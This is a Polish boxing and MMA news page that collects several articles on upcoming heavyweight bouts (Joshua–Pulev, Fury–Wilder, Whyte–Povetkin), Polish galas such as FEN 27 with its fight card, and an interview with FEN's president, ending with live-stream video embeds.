Teraz Stambuł?

Anthony Joshua ruszył w świat. Ma sobą walkę w Arabii Saudyjskiej. Niewykluczone, że kolejny pojedynek, w którym spotka się z Kubratem Pulewem, Brytyjczyk stoczy na stadionie Vodafone Arena w Stambule.

Po pokonaniu w Ad-Dirijja Andy'ego Ruiza Jr. i odzyskaniu pasów WBO, IBF, WBA oraz IBO niemalże od razu ruszyła dyskusja na temat kolejnych wyzwań mistrza. Na horyzoncie pojawiło się dwóch rywali – Oleksandr Usyk i Kubrat Pulew. Federacje WBO i IBF poinformowały czempiona o konieczności negocjacji z pretendentami do pasów. Wszystkie znaki "na niebie i ziemi" wskazują, że Joshua stanie do obrony tytuły IBF i zmierzy się z Bułgarem.

Warto przypomnieć, że "AJ" miał rywalizować z Pulewem w 2017 roku, jednak wtedy ten nie mógł wystąpić z powodu kontuzji. Joshua stoczył pojedynek z Carlosem Takamem, którego pokonał w Cardiff przez techniczny nokaut w dziesiątej rundzie. Wracając do głównego wątku, obozy Brytyjczyka i Bułgara do końca stycznia muszą ustalić warunki walki. Prawdopodobny termin rywalizacji to maj. Ciekawa jest propozycja miejsca mistrzowskiego pojedynku. To stadion Vodafone Arena w Stambule, na którym może zasiąść ponad 40 tys. widzów. Na konkrety jednak trzeba poczekać. Do niedawna mówiło się, że Joshua i Pulew spotkają się na Tottenham Hotspurs Stadium w Londynie.

Dotychczas "AJ" poza ojczyzną stoczył tylko dwie walki i obie z Andy'm Ruizem Jr. Na własnej ziemi mistrz świata wygrał 21 pojedynków, w tym 20 przed czasem! Co ciekawe Pulew dopiero trzy lata temu stoczył walkę w swojej ojczyźnie. 3 grudnia 2016 roku pokonał w Sofii Samuela Petera. Potem jeszcze dwa razy rywalizował w stolicy Bułgarii i zanotował zwycięstwa z Kevinem Johnsonem i Hughie'm Furym. Początki zawodowej kariery Pulewa to zmagania na niemieckich ringach. W debiutanckim starciu przed czasem pokonał Floriana Benche, ale w czasach amatorskich "Kobra" zapisał na swoim koncie tytuły mistrza Bułgarii (trzy).Ostatnio 38-latek rywalizował na ringach w Stanach Zjednoczonych, gdzie odprawił Bogdana Dinu i Rydella Bookera.

Fot. Anthony Joshua Facebook

KM

Brodnicka wystąpi w marcu

7 marca w Dzierżoniowie odbędzie się 11. gala Tymex Boxing Night. Jedną z gwiazd wydarzenia będzie mistrzyni świata WBO w wadze super piórkowej Ewa Brodnicka.

Kalendarz wydarzeń sportowych powoli zapełnia się. Czekamy na pojedynki naszych rodaków i bokserskie gale w Polsce. 7 marca gromy polecą w Dzierżoniowie. Wiadomo, że podczas gali Tymex Boxing Night zaprezentuje się Ewa Brodnicka. W ubiegłym roku 35-letnia bokserka pokonała Edith Soledad Matthysse i Janeth Perez. Brodnicka jest posiadaczką pasa WBO, który zdobyła w maju 2017 roku pokonując w Częstochowie Irmę Balijagić Adler. W marcu Polka stanie do piątej obrony tytułu. – Przygotowania rozpoczęłam od początku stycznia. Największe wyzwanie to zrobienie mądrze wagi, żeby nie osłabić się przed samą walką i nie stracić przez to formy, którą ciężko budujemy z całym teamem. Rywalkę ogłoszę niedługo, żeby nie było za dużo informacji naraz – podała Ewa Brodnicka w mediach społecznościowych.

W Dzierżoniowie zaprezentuje się również Damian Wrzesiński, który powalczy o pas młodzieżowego mistrza Polski. 32-latek chce odnieść sukces i kontynuować dobrą passę. Wrzesiński wygrał pięć kolejnych pojedynków. W 2019 roku pokonał Miguela Cesario Antina i Kamila Młodzińskiego.

Po blisko rocznej przerwie kolejną walkę stoczy Michał Leśniak. W listopadzie 2017 roku 28-latek stoczył pamiętny bój z Kamilem Młodzińskim o tytuł mistrza Polski w wadze superlekkiej. Ogromna intensywność, cios za cios i wielka wola walki. Żaden z pięściarzy nie miał zamiaru się oszczędzać, co pozwoliło stworzyć widowisko, które oceniano bardzo wysoko. Pojedynek zakończył się remisem. Od tamtego czasu Leśniak stoczył cztery pojedynki i wszystkie wygrał. W zeszłym roku pokonał Maksima Churbanova i Vladyslava Gelę. Po raz ostatni Leśniak zaprezentował się w ringu w maju 2019 roku. 7 marca pięściarz po raz czwarty wystąpi w Dzierżoniowie, jeszcze nigdy tam nie przegrał.

Podczas gali Tymex Boxing Night 11 zaprezentują się również: Sahan Aybaya, Oskar Kapczyński i Oskar Wierzejski.

Fot. materiały prasowe

KM

Dwie rundy wystarczą

22 lutego w MGM Grand w Las Vegas odbędzie się rewanżowe starcie Tysona Fury'ego z Deontayem Wilderem. "Olbrzym z Wilmslow" jest pewny swego.

Im bliżej rewanżowej walki, emocje idą w górę. Zarówno Fury i Wilder dołożą wszelkich starań, żeby zadbać o właściwą temperaturę pojedynku. Nie przebierają w słowach, są pewni siebie i żądni zwycięstwa. Przed pierwszą walką (1 grudnia 2018 – red.) akcje Fury'ego nie stały wysoko. Pogromca Władimira Kliczko pokazał jednak klasę i w oczach wielu zasłużył na zwycięstwo. Starcie zakończyło się remisem, jednak dało Brytyjczykowi przepustkę do powrotu na szczyt. 22 lutego będzie mógł zasiąść na tronie.

 Mimo licznych problemów i przeżyć postępowanie Fury’ego się nie zmieniło. Nadal jest pewny siebie, momentami bezczelny i arogancki. Nie inaczej jest przed najbliższą walką. – Chcę spotkać się z nim na środku ringu i zrobić walkę. Mocniejszy przetrwa, słabszy przegra. Mam 20. nokautów w 29. zwycięskich pojedynkach – mówi Tyson Fury. – On wie, że w pierwszej walce dwa lub trzy razy się kołysał, ale zabrakło mi paliwa, żeby go wykończyć. Teraz będzie inaczej – zapewnia 31-latek. Fury liczy, że uda mu się znokautować rywala. – Nie będę uciekać. Nie będzie musiał mnie szukać. Zostanie znokautowany w dwóch rundach. Dwie rundy! – podkreśla „Olbrzym z Wilmslow”.

Wilder również nie przebiera w słowach. – To jest dokończona sprawa, którą zamknę. Znokautuję go. Jestem królem w tej dżungli. Rozerwę mu głowę. Zrobię tak, że przewróci się przez liny – powiedział Amerykanin.

Deontay Wilder ostatnio pokonał przed czasem Dominica Breazeale'a oraz Luisa Ortiza. Dotychczas Amerykanin stoczył 43. walki, z których w 41. triumfował przez nokaut. Nigdy nie przegrał, zanotował remis w starciu z Fury'm. Z kolei pięściarz urodzony w Manchesterze w roku 2019 stoczył dwa pojedynki. Fury pokonał Toma Schwarza i Otto Wallina. W starciu z tym drugim doznał kontuzji łuku brwiowego. Szwed postawił Fury'emu trudne warunki i pojedynek zakończył się triumfem Brytyjczyka na punkty.

22 lutego pięściarze wcale nie muszą spotkać się po raz ostatni. Sporo mówi się o trzecim pojedynku Fury’ego i Wildera. Nie wybiegajmy w przyszłość, lecz szykujmy się na ucztę. Oby temperatura pojedynku była właściwa.

Fot. Tyson Fury Facebook

KM

Puszka Cerrone

Wielka walka w UFC coraz bliżej. 18 stycznia w T-Mobile Arenie w Las Vegas dojdzie do starcia Donalda Cerrone z Conorem McGregorem. Z okazji zbliżającego się wydarzenia Budweiser wypuścił puszkę z wizerunkiem 36-letniego Amerykanina.

Popularny "Kowboj" nie ukrywa swojej sympatii do piwa i jasno wskazuje, które jest jego ulubionym. Budweiser postanowił więc umieścić wizerunek Cerrone na puszce. To znakomita okazja dla fanów Amerykanina, aby 18 stycznia podczas gali UFC 246 wspierać swojego ulubieńca z trunkiem w opakowaniu z jego podobizną. Nie da się ukryć, że Budweiser wykonał ciekawy ruch marketingowy, który odbił się szerokim echem i na pewno spotka się z sympatią fanów MMA. Co ciekawe, na puszce znalazły się także informacje o wyczynach Cerrone, czyli o jego zwycięstwach i porażkach. Trzeba również wspomnieć, że najbliższy rywal Amerykanina – Conor McGregor posiada swoje whisky, które nazywa się Proper Twelve.

Jak widać sport przenika się z innymi branżami. 18 stycznia w Las Vegas wszyscy będą jednak liczyć na widowiskowe starcie. Obserwatorzy zadają sobie pytanie, czy będzie to wielki powrót Conora McGregora. Po raz ostatni Irlandczyk zaprezentował się w oktagonie w październiku 2018 roku! Podczas gali UFC 229 przegrał z Chabibem Nurmagomiedowem starcie o pas mistrzowski w wadze lekkiej. Los McGregora w MMA był wielką niewiadomą. Pojawiali się zawodnicy, którzy rzucali wyzwania Irlandczykowi, ale ten skupił się na biznesie. Wspominał o powrocie do UFC, by później mówić o zakończeniu kariery. Wszyscy żyli tymi doniesieniami, ale ostatecznie McGregor zdecydował się wrócić.

Ostatnie zwycięstwo McGregor odniósł ponad trzy lata temu! W Nowym Jorku pokonał Eddiego Alvareza i zdobył pas w wadze lekkiej. Teraz Irlandczyk zmierzy się z Cerrone, który ostatnie dwa starcia przegrał. Amerykanin jednak cały czas walczył. W trakcie nieobecności McGregora stoczył pięć walk, w tym trzy wygrał.

Zapowiada się interesujący pojedynek, w którym niewiadomą jest forma Irlandczyka. Z pewnością McGregor zrobi wszystko, aby ponownie było o nim głośno. Dla obu zawodników będzie to „dochodowe” starcie. Ponoć McGregor ma gwarantowane 5 milionów dolarów, a Cerrone dwa. Do tego dojdą środki z pay per view.

Fot. Donald "Cowboy" Cerrone

KM

Helenius na drodze Kownackiego?

Czekamy na wieści na temat pierwszej tegorocznej walki Adama Kownacki. Popularny "Babyface" ma wejść do ringu 7 marca w Barclays Center. Niewykluczone, że jego rywalem będzie Robert Helenius. W wadze ciężkiej dzieje się – ostro do rewanżu z Deontayem Wilderem przygotowuje się Tyson Fury.

Wyzwanie Kownackiego

Adam Kownacki wykonuje dobrą robotę. O Polaku trenującym w Stanach Zjednoczonych zrobiło się głośno, gdy znokautował Artura Szpilkę. Od tamtego czasu Kownacki wygrał cztery walki i pokonał mocne nazwiska m.in. Charlesa Martina, Geralda Washingtona i Chrisa Arreolę.

Pięściarz urodzony w Łomży wyrobił sobie markę i jest zaliczany do czołówki wagi ciężki. Był brany pod uwagę jako rywal Anthony'ego Joshuy, gdy wpadkę dopingową zaliczył Jarrell Miller. Kownacki liczy na starcie o pas mistrzowski. Joshua zwakuje zapewne tytuł WBO, a o IBF zmierzy się z Kubratem Pulewem. W najbliższym czasie sprawa się wyjaśni, ale wiadomo, że Kownacki zaprezentuje się 7 marca w Barclays Center. Dużo mówiło się o starciu Polaka z Dominikiem Breazealem, jednak teraz na horyzoncie pojawił się Robert Helenius. Ponoć pięściarze doszli już do porozumienia.

36-letni Fin pokonał ostatnio Mateusa Roberto Osorio. Swego czasu Helenius pokonał Derecka Chisorę, co dało mu pas EBU w wadze ciężkiej. Helenius ma na koncie 29 zwycięstw i trzy porażki. Fiński pięściarz był ostatnio wymieniany także jako potencjalny rywal Josepha Parkera.

Fury trenuje

Zanim Kownacki pojawi się w ringu, 22 lutego w Las Vegas dojdzie do rewanżu Denotaya Wildera z Tysonem Fury. 1 grudnia 2018 roku walka zakończyła się remisem. W pojedynku z Otto Wallinem Fury doznał kontuzji łuku brwiowego, ale nie ma po niej już śladu. Olbrzym z Wilmslow ciężko trenuje i sparuje przed starciem o pas WBC. Pomagają mu George Fox, David Adeleye i Jared Anderson. Wszyscy mają za sobą kilka pojedynków na zawodowych ringach.

Warto wspomnieć, że lutowe starcie Wildera i Fury'ego wcale nie musi być ostatnie. Możliwy jest trzeci pojedynek, o ile pięściarze będą wyrażali taką chęć.

Fot. Adam Kownacki Instagram

KM

Whyte zmierzy się z Powietkinem?

Prawdopodobnie 18 kwietnia kolejną walkę stoczy Dillian Whyte, a jego rywalem będzie Aleksandr Powietkin.

Ostatni czas obfitował w zwroty akcji w sportowej karierze pięściarza urodzonego na Jamajce. 20 lipca Whyte pokonał Oscara Rivas i zdobył tymczasowy tytuł mistrza świata WBC. Radość nie trwała długo. Po walce w organizmie zwycięzcy wykryto metyloheksanaminę i federacja WBC podjęła decyzję o zawieszeniu pięściarza. Warto wspomnieć, że to nie pierwsza taka sytuacja w życiu 32-latka. Brytyjski bokser wpadł na dopingu w 2012 roku. Wracając do bieżących wydarzeń, ostatecznie Whyte mógł odetchnąć. WBC zniosła tymczasowe zawieszenie i Brytyjczyka uznano za tymczasowego mistrza świata. W grudniu Whyte wszedł do ringu podczas gali w Diriyah i pokonał Mariusza Wacha.

Teraz 32-latek czeka na kolejne wyzwania. Whyte liczy na walkę o tytuł WBC, jednak musi uzbroić się w cierpliwość. Pojedynku może spodziewać się najwcześniej za ponad rok. Bokser nie ma zamiaru czekać. Najbliższą walkę Whyte miałby stoczyć 18 kwietnia, a w ringu stanąłby na wprost Aleksandra Powietkina. – Mam spotkanie z Eddiem (Hearnem – red.) we wtorek – mówi Sky Sports Dillian Whyte. – Spotkamy się i zobaczymy, jakie są plany, a następnie podejmiemy decyzję – zapowiada pięściarz, który w 2020 roku stoczy maksymalnie trzy pojedynki.

Powietkin zaprezentował się na tej samej gali, co Whyte. W Arabii Saudyjskiej Rosjanin zremisował z Michaelem Hunterem. Wcześniej (sierpień 2019) pokonał Hughie Fury'ego. We wrześniu 2018 roku Powietkinowi nie udało się sięgnąć po pasy mistrzowskie WBO, WBA, IBF, IBO. Na stadionie Wembley w siódmej rundzie przegrał przez nokaut z Anthonym Joshuą. To była druga porażka w karierze doświadczonego Rosjanina. Wcześniej przegrał z Władimirem Kliczko.

Należy wspomnieć, że Rosjanin ma na swoim koncie również problemy związane ze stosowaniem dopingu. Z tego powodu nie doszło do jego starcia o pas WBC z Deontayem Wilderem. Kilka miesięcy później (grudzień 2016 roku) sytuacja się powtórzyła. Powietkin miał boksować z Bermane Stivernem, ale wszedł do ringu z Johannem Duhaupasem. 17 grudnia WBC poinformowała o wykryciu ostaryny w organizmie Rosjanina. Wieczorem Powietkin pojawił się w ringu i znokautował Francuza.

Dwaj pięściarze o sporym potencjale i przejściach mogą spotkać się w kwietniu. Sportowo wygląda to ciekawie, choć ostatni występ Whyte’a był daleki od ideału, a Powietkin ma na karku 40 lat.

Fot. zdjęcie poglądowe

KM

Lima Dias nowym rywalem Romanowskiego

Rildeci Lima Dias (23-10, 12 KO, 9 SUB) podejmie Sebastiana Romanowskiego (13-8-1, 4 KO, 2 SUB) podczas gali FEN 27 w Szczecinie. „Escorpiao” zastąpi tym samym innego Brazylijczyka, Vilsona Jr.

Dias ma 34 lata i pochodzi z miasta Almerim w Brazylii. Ten bardzo doświadczony reprezentant Kraju Kawy może pochwalić się aż 23 zwycięstwami na koncie, z czego 12 odniósł przez nokauty i 9 przez poddania. W lipcu 2018 roku Dias anakondą poddał w 2. rundzie Gersona Pereirę de Jesusa. Jego wcześniejsze zwycięstwo to również poddanie rywala, tym razem bardzo trudną techniką brabo choke. „Escorpio” na zawodowstwie walczy od 2009 roku.

Romanowski to jeden z najlepszych i najbardziej doświadczonych zawodników w Polsce w kategorii koguciej. „Szczena” w przeszłości walczył również w dywizji piórkowej, więc wie, w jaki sposób walczyć z fighterami o lepszych warunkach fizycznych. Pod koniec 2017 roku Romanowski wygrał dzięki jednogłośnej decyzji sędziów z Evgenim Ryazanowem. Po przerwie od zawodowych startów spowodowanej kontuzją wrócił do rywalizacji w klatce pokonując Nikołaja Kondratuka.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS Kirill Kornilov
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Lima Dias
70,0 KG, K-1: Marcin Parcheta VS Gor Harutjunjan
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

O gali FEN 27:

Bohaterem walki wieczoru gali FEN 27 w Szczecinie będzie Mateusz Rębecki. Niepokonany od ponad czterech lat zawodnik Berserkers Team Szczecin po raz siódmy wystąpi pod szyldem FEN. Pojedynek na swojej ziemi będzie również dla „Chińczyka” trzecią obroną pasa mistrzowskiego w kategorii lekkiej. W przeciwnym narożniku stanie utytułowany rosyjski zapaśnik Magomed Magomedov.

W eliminatorze do pasa mistrzowskiego w kategorii półciężkiej wystąpi Wojciech Janusz, który skrzyżuje pięści z Adamem Kowalskim. „Kulkinio” jest rozpędzony serią czterech kolejnych zwycięstw z rzędu i w znakomitym nastroju przystąpi do rywalizacji w Szczecinie.

Po raz drugi w klatce FEN kibice będą mieli przyjemność oglądać w akcji Katarzynę Lubońską. Zawodniczka pochodząca z Piły od zwycięstwa rozpoczęła swoją przygodę w FEN. Teraz będzie chciała udowodnić, że jest najlepszą kobietą w FEN w kategorii muszej.

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Mistrz zwakuje pas

Anthony Joshua ponownie zasiada na tronie wagi ciężkiej, co wiąże się z kolejnymi wyzwaniami. Do rywalizacji z Brytyjczykiem gotowi są Oleksander Usyk i Kubrat Pulew. Tym samym "AJ" będzie musiał zwakować jeden z pasów.

1 czerwca 2019 roku w Madison Squre Garden w Nowym Jorku Anthony Joshua stoczył pierwszy pojedynek poza granicami Wysp Brytyjskich. Dla 30-latka było to bolesne doświadczenie. "AJ" poniósł pierwszą porażkę na zawodowym ringu. W siódmej rundzie przegrał przez techniczny nokaut z Andy'm Ruizem Jr. i stracił tytuły WBO, IBF, WBA i IBO. Wiadomo było, że nie obędzie się od rewanżu. Wokół kolejnego starcia Joshuy z Ruizem Jr. narodziła się gorąca atmosfera. Pojedynek odbył się 7 grudnia w… Arabii Saudyjskiej. Nietypowa lokalizacja, ale szczęśliwa dla Brytyjczyka. Tym razem Joshua nie pozostawił wątpliwości, kto jest lepszy. 30-letni pięściarz pokonał Ruiza i odzyskał pasy.

Joshua wrócił na tron, ale teraz jego obóz ma "trudny orzech do zgryzienia". WBO i IBF przesłały do Brytyjczyka pisma informujące o konieczności negocjacji odpowiednio z Oleksandrem Usykiem i Kubratem Pulewem. Joshua musi dokonać wyboru, co wiąże się z tym, że jeden z pasów zwakuje. – Zawsze mówiłem, że pasy mnie nie określają. Będę mistrzem, jeśli oddam jeden tytuł. Tym samym pojawi się szansa zmierzenia się z innym mistrzem świata. Teraz pobiłem czterech czempionów. Jeżeli zrezygnuję z pasa, powstanie nowa historia i dostarczę rozrywki – powiedział dla Sky Sports Anthony Joshua.

Wiele wskazuje na to, że "AJ" stoczy bój o pas IBF z Pulewem. Bułgar ostatnio pokonał Rydella Bookera. Tym samym "AJ" zwakuje pas WBO, o który Usyk powinien zmierzyć się z Derekiem Chisorą. Pięścarz urodzony w Zimbabwe wygrał trzy walki z rzędu, w tym pokonał Artura Szpilkę.

Kolejny rok w wadze ciężkiej zapowiada się ciekawie. Przypomnijmy, że 22 lutego dojdzie do rewanżowego starcia Deontaya Wildera z Tysonem Fury'm. Na szali pojawi się pas WBC należący do Amerykanina.

Fot. Anthony Joshua Facebook

KM

Znakomity kickbokser Kornilov rywalem Sianosa w Szczecinie

Kirill Kornilov (1-0, 1 KO) zmierzy się z Marcinem Sianosem (4-4, 4 KO) podczas gali FEN 27 w Szczecinie 18 stycznia. Kornilov zastąpi tym samym Alekseya Kisera.

Kornilov to znakomity kickbokser, były zawodnik najlepszej na świecie organizacji GLORY. W formule uderzanej Rosjanin ma stoczonych 17 walk, z czego 14 wygrał. W swoim debiucie w MMA Kornilov ciężko znokautował już w 1. rundzie znanego w Polsce Fernando Rodriquesa. Zawodnik pochodzący z Sankt Petersburga imponuje znakomitymi warunkami fizycznymi – mierzy 195 centymetrów wzrostu.

Sianos spośród czterech zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w pierwszej odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w premierowej odsłonie rozprawił się z Mateuszem Łazowskim.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS Kirill Kornilov
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS Gor Harutjunjan
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

O gali FEN 27:

Bohaterem walki wieczoru gali FEN 27 w Szczecinie będzie Mateusz Rębecki. Niepokonany od ponad czterech lat zawodnik Berserkers Team Szczecin po raz siódmy wystąpi pod szyldem FEN. Pojedynek na swojej ziemi będzie również dla „Chińczyka” trzecią obroną pasa mistrzowskiego w kategorii lekkiej. W przeciwnym narożniku stanie utytułowany rosyjski zapaśnik Magomed Magomedov.

W eliminatorze do pasa mistrzowskiego w kategorii półciężkiej wystąpi Wojciech Janusz, który skrzyżuje pięści z Adamem Kowalskim. „Kulkinio” jest rozpędzony serią czterech kolejnych zwycięstw z rzędu i w znakomitym nastroju przystąpi do rywalizacji w Szczecinie.

Po raz drugi w klatce FEN kibice będą mieli przyjemność oglądać w akcji Katarzynę Lubońską. Zawodniczka pochodząca z Piły od zwycięstwa rozpoczęła swoją przygodę w FEN. Teraz będzie chciała udowodnić, że jest najlepszą kobietą w FEN w kategorii muszej.

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Jóźwiak przed FEN 27: „W Polsce nie ma lepszego miejsca do budowania od podstaw wielkich karier.”

Paweł Jóźwiak, prezes FEN, jest optymistycznie nastawiony do najbliższych dwóch tygodni, które zwieńczy gala FEN 27 w wypełnionej do ostatniego krzesełka Netto Arenie. Kto ma szansę najwięcej wygrać w Szczecinie i czy Mateusz Rębecki pojedynkiem na swojej ziemi pożegna się z federacją? Który pojedynek zapowiada się najciekawiej? Kto ma najwięcej do udowodnienia i czy Kamil Gniadek wróci na właściwe tory?

Dwa najbliższe tygodnie to…

Paweł Jóźwiak: To czas najcięższej pracy dla mnie, moich wspólników i wszystkich naszych pracowników. Dużo maili, telefonów, spotkań, jeżdżenia. To czas nerwów, ale i sporej satysfakcji, bo dużo tematów właśnie teraz zostaje zamykanych. Potem już gala, czyli nagroda – podobnie jak dla zawodników.

Na pewno spodziewacie się kompletu kibiców podczas FEN 27, bo na Facebooku jakiś czas temu pojawił się screen z bileternii – zostało tak naprawdę niewiele wejściówek.

PJ: Tak, spodziewamy się pełnej hali. Rekordowo zaczęliśmy sprzedaż i tak naprawdę od samego początku obserwowaliśmy płynną jej dynamikę. Bardzo dobrze spisali się miejscowi zawodnicy, którzy chętnie udzielali się w swoich profilach w social mediach i również przyczynili się do tego, że w Szczecinie zobaczymy komplet. Netto Arena to duży obiekt liczący z płytą i naszymi stolikami VIP-owskimi prawie 6 tysięcy miejsc. Były obawy przed galą w Szczecinie, więc tym bardziej cieszę się, że frekwencyjnie będzie to wyglądało bardzo dobrze.

Mateusz Rębecki w walce wieczoru po raz trzeci będzie bronił pasa mistrzowskiego…

PJ: Kto wie, może po raz ostatni? Może wygrana z bardzo mocnym Rosjaninem zapewni mu kontrakt z UFC? Wiem, że to z perspektywy organizatora może zabrzmieć bardzo dziwnie, ale naprawdę trzymam za niego kciuki. Trzymam kciuki za każdego naszego zawodnika, który ma w sobie dużo pokory, potrafi ciężko pracować i skupiać się na priorytetach. Wiadomo, że odejście najlepszego zawodnika naszej organizacji do UFC będzie dla nas osłabieniem, ale my do tematu podchodzimy inaczej – niech Mateusz idzie do Ameryki i tam się rozwija. Niech dobrze nas wspomina, jako federację, które pomogła mu spełnić swoje marzenia. Która zbudowała go jako zawodnika od A do Z. Niech jego przypadek pokaże, że w Polsce nie ma lepszego miejsca do budowania od podstaw wielkich karier dla tych, którzy są w stanie poświęcić wszystko, by sięgać po najwyższe laury.

W Szczecinie poznamy również zawodnika, który zmierzy się w walce o pas mistrzowski w kategorii półciężkiej.

PJ: I to może być najlepsza walka podczas tej gali. Czasami do pojedynków podchodzę nie jako organizator czy matchmaker, ale również jako kibic. Ten pojedynek dla kibica jest spełnieniem marzeń. Fajna historia, że Wojtek z Adamem wystąpi na tej samej gali w Ostródzie, obaj zgarnęli bonusy, a teraz się zmierzą ze sobą. Stawka duża, więc emocji nie zabraknie. Janusz walczy u siebie, wydaje się być bardziej uniwersalnym zawodnikiem. Kowalski potrafi przyjąć mocny cios, jak z pojedynku z Kijańczukiem, potem sam powalić rywala na matę, by na końcu go poddać. Jak to mawia młodzież – jaram się.

Kasia Lubońska po wygranej walce zawalczy o pas?

PJ: Spokojnie, nie zakładajmy tak szybko tego, co się wydarzy po czymś, co jeszcze się nie miało miejsca. Kasia ma wszystko, żeby być naszą gwiazdą. Po dwóch zwycięstwach będzie miała oczywiście swoje argumenty, żeby tak właśnie było, ale z racji tego, że poważnie myślimy o dywizji kobiet, chcemy wszystko dokładnie zaplanować. Na pewno chcemy jeszcze w 2020 roku, aby jedna z kobiet walczących dla nas była mistrzynią.

Marcin Sianos od razu chciał wystąpić w Szczecinie po przegranej z Szymonem Bajorem?

PJ: W poniedziałek do mnie zadzwonił i od razu chciał walczyć. Był zdeterminowany jak nikt nigdy wcześniej. Nie widziałem nigdy sportowo tak złego zawodnika, jak Marcin po walce we Wrocławiu. On ma swoje lata, mógłby sobie dać spokój ze sportem, bo poza MMA znakomicie sobie radzi i nie narzeka na brak pieniędzy ani obowiązków. Poszedł jednak w kierunku sportu i zrobi wszystko, żeby być naszym mistrzem. Dostał ode mnie propozycję mocnego rywala – od razu się zgodził. Rosjanin wypadł, w jego miejsce wskoczył kto inny, równie mocny, może nawet i lepszy – po 15 minutach miałem potwierdzenie walki. Marcin chce walczyć w Szczecinie i będzie oglądał walkę Bajora. Jeżeli będzie mistrzem, to Sianos marzy o rewanżu, aczkolwiek sam doskonale zdaje sobie sprawę, że jedno zwycięstwo nie wystarczy, by otrzymać taką możliwość.

Kamil Gniadek jest w trudnym miejscu swojej kariery. Coś z nim pękło?

PJ: Nie, jestem przekonany, że nic nie pękło. Kamil to walczak, prawdziwy fighter. Uwielbiam takich zawodników, którzy nie kalkulują, którzy zawsze idą po swoje. Cztery pierwsze walki w FEN wygrał przed czasem. Potem zawalczył dobrze o pas z Grzebykiem, przegrał, ale to była w moim odczuciu najlepsza batalia w Polsce w całym 2019 roku. Następnie z piekielnie mocnym Duszą wygrywał przez dwie rundy, ale dał się zaskoczyć i przegrał. Znowu nagrodziliśmy go bonusem. On jednak do samego końca, nawet prowadząc u wszystkich sędziów, szedł po swoje. Chciał skończyć walkę przed czasem. Ryzykował. Jak mam powiedzieć, że w takim zawodniku coś pękło? To są właśnie goście, których kochają kibice. Gniadek jeszcze nie raz pokaże się ze znakomitej strony.

Ogłosicie kolejnych bohaterów gali FEN 28 już w Szczecinie?

PJ: Tak, ogłosimy kilka nazwisk. Mocnych zawodników, którzy wystąpią w Lublinie. Będą walki o pasy, planujemy eliminator, na pewno gala w Lublinie nie będzie gorsza niż ta w Szczecinie. Nie wybiegajmy jednak zbyt daleko w przyszłość – zostały dwa tygodnie do gali. Jestem przekonany, że dobrej gali w naszym wykonaniu.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS Kirill Kornilov
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS Gor Harutjunjan
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

O gali FEN 27:

Bohaterem walki wieczoru gali FEN 27 w Szczecinie będzie Mateusz Rębecki. Niepokonany od ponad czterech lat zawodnik Berserkers Team Szczecin po raz siódmy wystąpi pod szyldem FEN. Pojedynek na swojej ziemi będzie również dla „Chińczyka” trzecią obroną pasa mistrzowskiego w kategorii lekkiej. W przeciwnym narożniku stanie utytułowany rosyjski zapaśnik Magomed Magomedov.

W eliminatorze do pasa mistrzowskiego w kategorii półciężkiej wystąpi Wojciech Janusz, który skrzyżuje pięści z Adamem Kowalskim. „Kulkinio” jest rozpędzony serią czterech kolejnych zwycięstw z rzędu i w znakomitym nastroju przystąpi do rywalizacji w Szczecinie.

Po raz drugi w klatce FEN kibice będą mieli przyjemność oglądać w akcji Katarzynę Lubońską. Zawodniczka pochodząca z Piły od zwycięstwa rozpoczęła swoją przygodę w FEN. Teraz będzie chciała udowodnić, że jest najlepszą kobietą w FEN w kategorii muszej.

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

LIVE: FEN 27 – Trening Medialny

Zapraszamy na transmisję telewizyjną z oficjalnego treningu medialnego przed galą FEN 27.

[kod]

FEN 27 – Media Training

FEN 27 – Media Training

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: FEN 27 – Oficjalna Ceremonia Ważenia

Zapraszamy na transmisję telewizyjną z oficjalnej ceremonii ważenia przed galą FEN 27.

[kod]

FEN 27 – Oficjalna Ceremonia Ważenia

